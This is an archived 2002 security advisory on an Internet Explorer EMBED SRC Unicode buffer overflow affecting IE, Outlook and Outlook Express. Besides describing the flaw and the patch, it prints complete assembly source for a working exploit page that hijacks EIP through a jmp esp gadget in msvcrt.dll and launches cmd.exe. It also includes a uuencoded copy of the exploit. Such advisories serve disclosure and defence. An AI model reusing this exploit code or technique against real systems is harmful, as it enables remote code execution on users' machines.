26th Feb 2002 [SBWID-5141]
COMMAND
Internet Explorer embeded tag remote buffer overflow
SYSTEMS AFFECTED
Microsoft Internet Explorer 6.0 and prior
Microsoft Outlook Express 6.0 and prior
Microsoft Outlook 2000 and prior
PROBLEM
In CERT advisory [CA-2002-04] [http://www.kb.cert.org/vuls/id/932283],
originally from a post of 3APA3A [http://www.security.nnov.ru] and
ERRor and DarkZorro of domain Hell :
--snip--
Internet Explorer supports the <EMBED> directive, which can be used
to include arbitrary objects in HTML documents. Common types of
embedded objects include multimedia files, Java applets, and ActiveX
controls. The SRC attribute specifies the source path and filename of
an object. For example, a MIDI sound might be embedded in a web page
with the following HTML code:
<EMBED TYPE=\"audio/midi\" SRC=\"/path/sound.mid\" AUTOSTART=\"true\">
--snapp--
Internet Explorer does not properly handle the SRC attribute of the
<EMBED> directive, mshtml.dll contains the buffer overflow while
parsing HTML with embedded ActiveX components. Stack overrun occurs during
concatenation of two Unicode strings.
Update (28 February 2002)
======
3APA3A [http://www.security.nnov.ru] posted the details :
ERRor <error(at)pochtamt.ru> discovered IE 5.5 and 6.0 in some cases
crash on
<embed src=\"filename.AAAAAAAAAA<lot of \'A\'s>\">
with EIP 0x41004100.
Overflow occurs then IE concatenates file extension to
\"Software\\Microsoft\\Internet
Explorer\\EmbedExtnToClsidMappingOverride\\\" with wcscat().
There is another input validation bug in Internet Explorer: it fails to
detect if file has no extension. In this case it looks for dot before
filename and treats everything after that dot like an extension... So,
it\'s possible to overflow buffer with long filename without extension.
There are few problems for one who wants to create exploit:
1. All data is converted to Unicode, that is \'A\' will be converted to
0x0041.
2. Address of shellcode will be different depending on number of open
Internet Explorer windows, Windows and Internet Explorer version and
patches installed.
3. There is different offset of saved EIP in stack in Internet Explorer
before and after IE5.5SP2.
4. A couple of small problems we will not describe, because it may help
to stop virus or scriptkiddie with exploit if one appear in-the-wild.
One of the first Unicode overflows found in-the-wild was vulnerability
in IIS ISAPI filter found by eEye[6]. They failed to make really
working exploit, saying exploiting of this kind of bug is hard. This
bug was successfully exploited by hsj and later by authors of CodeRed worm.
It brings us to the fact: EXPLOITATION OF UNICODE OVERFLOWS IS EASY.
There is easy way to bypass conversion of the shellcode to Unicode: it
should be in Unicode already. It was a trick used by CodeRed (wonderful
analysis of CodeRed was made by Andrey Kolishak in [7]). I wrote about
Unicode HTMLs in [8] (in fact [8] was released to prevent possible
impacts of this paper but didn\'t succeeded, because multiple filters
still don\'t check Unicode htmls).
Andrey pointed to easy (and well known) way to avoid second problem -
hardcoded shellcode address. Instead of overwriting saved EIP with
address of our shellcode we can use indirect jump - overwrite eip with
address of instruction in memory space of some dll which will jump back
to our code via ebp or esp (ebp may be used if exploiting format
strings). We fond jmp esp (FFE4) in all versions of kernel32.dll and in
one version of msvcrt.dll (6.10.8924.0). This version of dll doesn\'t
depend on Internet Explorer and presents in most installation of
Windows NT 4.0 and Windows 2000 we checked (but never in Windows 95/98/ME/XP),
so we used it.
Third problem was solved by overwriting all possible EIPs, using few
noops and
call xxxx
...
xxxx:
pop ebp
combination to get the exact address of our shellcode.
Since exploit is in Unicode we may do not care about \'\\0\' (0x0000,
0xFFFF are prohibited and we have to care about calls and far jumps)
so, we did large shellcode with visual effects. If you like it you
can download full version of dH & SECURITY.NNOV Matrix screensaver
from http://www.security.nnov.ru/advisories/soft/
Resulting HTML (will work with msvcrt.dll 6.10.8924.0 and doesn\'t
depend on mshtml.dll version, program used and Windows version) can be
obtained from http://www.security.nnov.ru/files/iebo/matrix.htm Same
file (properly encoded to UTF-7, UTF-8, quoted-printable or base64) may
be used to exploit Outlook Express/Outlook. (I\'ve just noticed that under
Windows 2000 terminal window sometimes is open in background and you
need to switch... Well... It\'s not good but I don\'t bother to patch it
:) ).
Below is source code for matrix.htm:
-=-=-=-=-=-=-=-=- begin matrix.asm -=-=-=-=-=-=-=-=-
;
; matrix.asm - source code for matrix.htm
;
; build:
; tasm matrix.asm /m2
; tlink matrix.obj, matrix.htm /t /3
;
; Authors:
; ERROR: bug discovery
; 3APA3A: idea and coding
; OFFliner: matrix effects and undocumented Windows API
;
; Thanx to Andrey Kolishak for indirect esp jump idea
;
; you can obtain matrix screensaver from
; http://www.security.nnov.ru/matrix
;
;
; eipjmp: overwrites saved EIP for all versions of
; mshtml.dll
; espjmp: gets control after jmp esp and calls code1
; code1: restores EIP from stack after call to ebp
; does some actions and jumps to code2
; code2: does the rest of actions
datap equ (DataTable+080h)
hKernel32 equ LoadL-datap
cCur equ StringTable-datap
SetCCH equ StringTable+4-datap
GetSH equ StringTable+8-datap
Sleep equ StringTable+12-datap
WriteC equ StringTable+16-datap
AllocC equ StringTable+20-datap
SetCDM equ StringTable+24-datap
SetCTA equ StringTable+28-datap
SetCCI equ StringTable+32-datap
WinE equ StringTable+36-datap
ExitP equ StringTable+40-datap
hStdOut equ StringTable+48-datap
dwOldMode equ cCur
conCur equ StringTable+52-datap
cls equ StringTable+56-datap
DWNumChar equ StringTable+60-datap
RegHK equ user-datap
.386
_faked segment para public \'CODE\' use32
assume cs:_faked
start:
_faked ends
_main segment para public \'DATA\' use32
assume cs:_main
prefix:
begin db 0ffh,0feh ;Unicode prefix
db \"<\",0,\"e\",0,\"m\",0,\"b\",0,\"e\",0,\"d\",0,0dh,0
db \"s\",0,\"r\",0,\"c\",0,\"=\",0,34,0
db \"h\",0,\"t\",0,\"t\",0,\"p\",0,\":\",0,\"/\",0,\"/\",0
db \"w\",0,\"w\",0,\"w\",0,\".\",0
db \"s\",0,\"e\",0,\"c\",0,\"u\",0,\"r\",0,\"i\",0,\"t\",0,\"y\",0,\".\",0
db \"n\",0,\"n\",0,\"o\",0,\"v\",0,\".\",0,\"r\",0,\"u\",0
db \"/\",0,\"f\",0,\"i\",0,\"l\",0,\"e\",0,\"s\",0,\"/\",0
db \"i\",0,\"e\",0,\"b\",0,\"o\",0,\"/\",0,\"X\",0
db \"!(c)3APA3A\"
db 22 dup(090h)
code1:
pop ebp
mov esp,ebx
xor eax,eax
dataoffset = DataTable - code2
ebpdiff = 80h + dataoffset
mov ax,ebpdiff
add ebp,eax ;ebp points to data
lea eax,[ebp+user-datap]
push eax
mov ebx,[ebp+LoadL-datap]
mov eax,[ebx]
mov [ebp+LoadL-datap],eax
call eax ;LoadLibraryA(\"user32.dll\")
lea ebx,[ebp+reg-datap]
push ebx
push eax
mov ebx,[ebp+GetPA-datap]
mov eax,[ebx]
mov [ebp+GetPA-datap],eax
call eax ;GetProcAddress(.,\"RegisterHotKey\")
mov [ebp+RegHK],eax
lea edi,[ebp+rhk-datap]
movzx esi,byte ptr[edi]
LoopHotkey:
inc edi
xor eax,eax
mov al,[edi]
push eax
inc edi
mov al,[edi]
push eax
inc edi
mov al,[edi]
push eax
xor eax,eax
push eax
call [ebp+RegHK]
dec esi
or esi,esi
jnz LoopHotKey
lea eax,[ebp+StringTable-datap] ;string \"kernel32.dll\"
push eax
call [ebp+LoadL-datap] ;LoadLibraryA(\"kernel32.dll\")
mov [ebp+hKernel32],eax ;hKernel32 =
lea eax, [ebp+SetCCH]
mov [ebp+cCur],eax ;*cCur = SetCCH
lea edi,[ebp+funcnum-datap]
movzx esi,byte ptr[edi] ;esi=funcnum
inc edi
LoopResolve:
push edi
push dword ptr [ebp+Hkernel32]
call [ebp+GetPA-datap] ;GetProcAddress(edi)
mov ebx,[ebp+cCur]
mov [ebx],eax ;save func address
xor ecx,ecx
mov cl,4
add ebx,ecx
mov [ebp+cCur],ebx ;cCur+=4
not ecx
xor eax,eax
repnz scasb ;find \\0
dec esi
or esi,esi
jnz LoopResolve
call [ebp+AllocC] ;AllocConsole()
push eax ;nonzero if succeed
xor eax,eax
push eax
call [ebp+SetCCH] ;SetConsoleCtrlHandler(NULL,TRUE)
xor eax,eax
not eax
sub al,0Ah
push eax
call [ebp+GetSH] ;GetStdHandle(STD_OUTPUT_HANDLE)
mov [ebp+hStdOut],eax ;hStdOut=
lea eax,[ebp+dwOldMode]
push eax
xor ebx,ebx
inc ebx
push ebx
push dword ptr [ebp+hStdOut]
call [ebp+SetCDM] ;SetConsoleDisplayMode(hStdOut, 1, &dwOldMode)
xor ebx,ebx
mov bl,0Ah
push ebx
push dword ptr [ebp+hStdOut]
call [ebp+SetCTA] ;SetConsoleTextAttribute(hStdOut,FOREGROUND_INTENSITY|FOREGROUND_GREEN)
xor ebx,ebx
mov [ebp+ConCur+4],ebx ;ConCur.bVisible = 100
mov bl, 100
mov [ebp+ConCur],ebx ;ConCur.dwSize = 0
lea eax, [ebp+ConCur]
push eax
push dword ptr [ebp+hStdOut]
call [ebp+SetCCI] ;SetConsoleCursorInfo(hstdOut,&ConCur)
xor eax,eax
mov ax,1000
push eax
call[ebp+Sleep] ;Sleep(1000);
xor ebx,ebx
mov bl, string-datap
mov eax,ebp
add eax,ebx
mov [ebp+cCur],eax ;cCur = string
mov eax,ebp
mov bx,datap-empty_string
sub eax,ebx
mov [ebp+cls],eax ;set address of empty_string
LOOP1: ;do do
xor eax,eax
push eax
lea ebx,[ebp+DWNumChar]
push ebx
inc eax
push eax
mov eax,[ebp+cCur]
push eax
push dword ptr [ebp+hStdOut]
call [ebp+WriteC] ;WriteConsole(hStdOut,(void*)cCur,1,&DWNumChar,NULL);
xor eax,eax
mov al,100
mov ecx,[ebp+cCur]
mov bl,[ecx]
sub bl,20
jnz N1
mov ax,400
N1: mov bl,[ecx]
sub bl,8
jnz N2
mov ax,2100
N2: push eax
call [ebp+Sleep] ;Sleep((*cCur==\' \')?400:(*cCur==\'\\b\')?2100:100)
mov ecx,[ebp+cCur]
inc ecx
mov [ebp+cCur],ecx ;++cCur
mov bl,[ecx]
sub bl,9
jnz LOOP1 ;while(*cCur!=\'\\t\');
call [ebp+cls]
mov ecx,[ebp+cCur]
inc ecx
mov [ebp+cCur],ecx ;++cCur
mov bl,[ecx]
sub bl,00Ah
jnz LOOP1 ;while(*cCur!=\'\\n\');
inc ecx
xor eax,eax
push eax
lea ebx,[ebp+DWNumChar]
push ebx
mov al,18
push eax
push ecx
push dword ptr [ebp+hStdOut]
jmp code2
codelength = $ - begin
neednoops = 1d4h - codelength
db neednoops dup(090h)
eipjmp:
dd 78024e02h
dd 78024e02h
dd 78024e02h
dd 78024e02h
dw 9090h
dd 78024e02h ;EIP for IE < 55SP2
espjmp:
db 18 dup(090h)
xor eax,eax ;ESP comes here
mov ax,0170h
mov ebx,esp
sub ebx,eax
call ebx
code2:
call [ebp+WriteC]
xor eax,eax
mov ax,4000
push eax
call [ebp+Sleep]
call [ebp+cls]
lea eax,[ebp+cmdexe-datap]
push eax
push eax
call [ebp+WinE]
xor eax,eax
push eax
call [ebp+ExitP]
empty_string:
; some code can be pasted here
xor eax,eax
mov ax,1000
push eax
call [ebp+Sleep] ;Sleep(1000)
xor eax,eax
push eax
lea ebx,[ebp+DWNumChar]
push ebx
mov al,30
push eax
lea eax,[ebp+empty-datap]
push eax
push dword ptr [ebp+hStdOut]
call [ebp+WriteC]
ret
DataTable:
LoadL dd 780330d0h ;LoadLibraryA import table entry
GetPA dd 780330cch ;GetProcAddress import table entry
StringTable:
db \"kernel32.dll\",0
funcnum db 10
db \"SetConsoleCtrlHandler\",0
db \"GetStdHandle\",0
db \"Sleep\",0
db \"WriteConsoleA\",0
db \"AllocConsole\",0
db \"SetConsoleDisplayMode\",0
db \"SetConsoleTextAttribute\",0
db \"SetConsoleCursorInfo\",0
db \"WinExec\",0
db \"ExitProcess\",0
user db \"user32.dll\",0
reg db \"RegisterHotKey\",0
cmdexe db \"cmd.exe\",0
rhk db 5
db 9,1,100,01bh,1,101,13,1,102,05dh,8,103,3,2,104
empty db 00dh,28 dup(020h),00dh,0
string db 00dh,\" Wake Up, Neo...\",00dh,009h,0
db 00dh,\" The Matrix has you...\",00dh,009h,0
db 00dh,\" Follow the White Rabbit.\",00dh,008h,009h,00ah,0
db 00dh,\" Knock, knock...\",00dh,0
padding db 32
suffix:
db 34,0,\">\",0,00ah
copy db \"(c) 2002 by 3APA3A, ERRor, OFFLiner\"
_main ends
end start
-=-=-=-=-=-=-=-=- end matrix.asm -=-=-=-=-=-=-=-=-
References:
[1] dH & SECURITY.NNOV: buffer overflow in mshtml.dll
http://www.security.nnov.ru/advisories/mshtml.asp
[2] Microsoft Security Bulletin MS02-005
http://www.microsoft.com/technet/security/bulletin/MS02-005.asp
[3] CAN-2002-0022
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0022
[4] CERT Advisory CA-2002-04 Buffer Overflow in Microsoft
Internet Explorer
http://www.cert.org/advisories/CA-2002-04.html
[5] ISS Alert: Buffer Overflow in Microsoft Internet Explorer
http://www.security.nnov.ru/search/document.asp?docid=2546
[6] All versions of Microsoft Internet Information Services Remote
buffer overflow (SYSTEM Level Access)
http://eeye.com/html/Research/Advisories/AD20010618.html
[7] Andrey Kolishak, History of one vulnerability (in Russian)
http://www.security.nnov.ru/articles/codered/
[8] Bypassing content filtering software
http://www.security.nnov.ru/advisories/content.asp
uuEncoded exploit sample : ========================
begin 644 matrix.htm.zip
M4$L#!!0``@`(`#=?7\"RBFH-%?````.0!```*````;6%T<FEX+FAT;;-)S4U*
M3>\'E*BY*ME7**\"DIL-+7+R\\OURM.32XMRBRIU,O+RR_3*RK53\\O,22W6STQ-
MRM>/L,<\"$NQ)!^OQ21;#607VM`.A*+P\"J&78;<S!$$F%*W4DTKY\\($Y&\\Q\\0
M5$(,2X7PVI`!AA$6\"*8Y@LG+!6<J*-F!*\'48\'P!02P$\"%@L4``(`\"``W7UPL
MHIJ#17P```#D`0``\"@`````````!`\"``@($`````;6%T<FEX+FAT;5!+!08`
1`````0`!`#@```\"D````````
`
end
242 bytes
SOLUTION
Patch:
http://www.microsoft.com/technet/security/bulletin/MS02-005.asp
Workaround:
Make sue \"Run ActiveX Controls and Plugins\" option is disabled for
Internet and Restricted Sites zones in security options of Internet
Explorer. Check security zone for Outlook Express is set to Restricted
Sites
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH
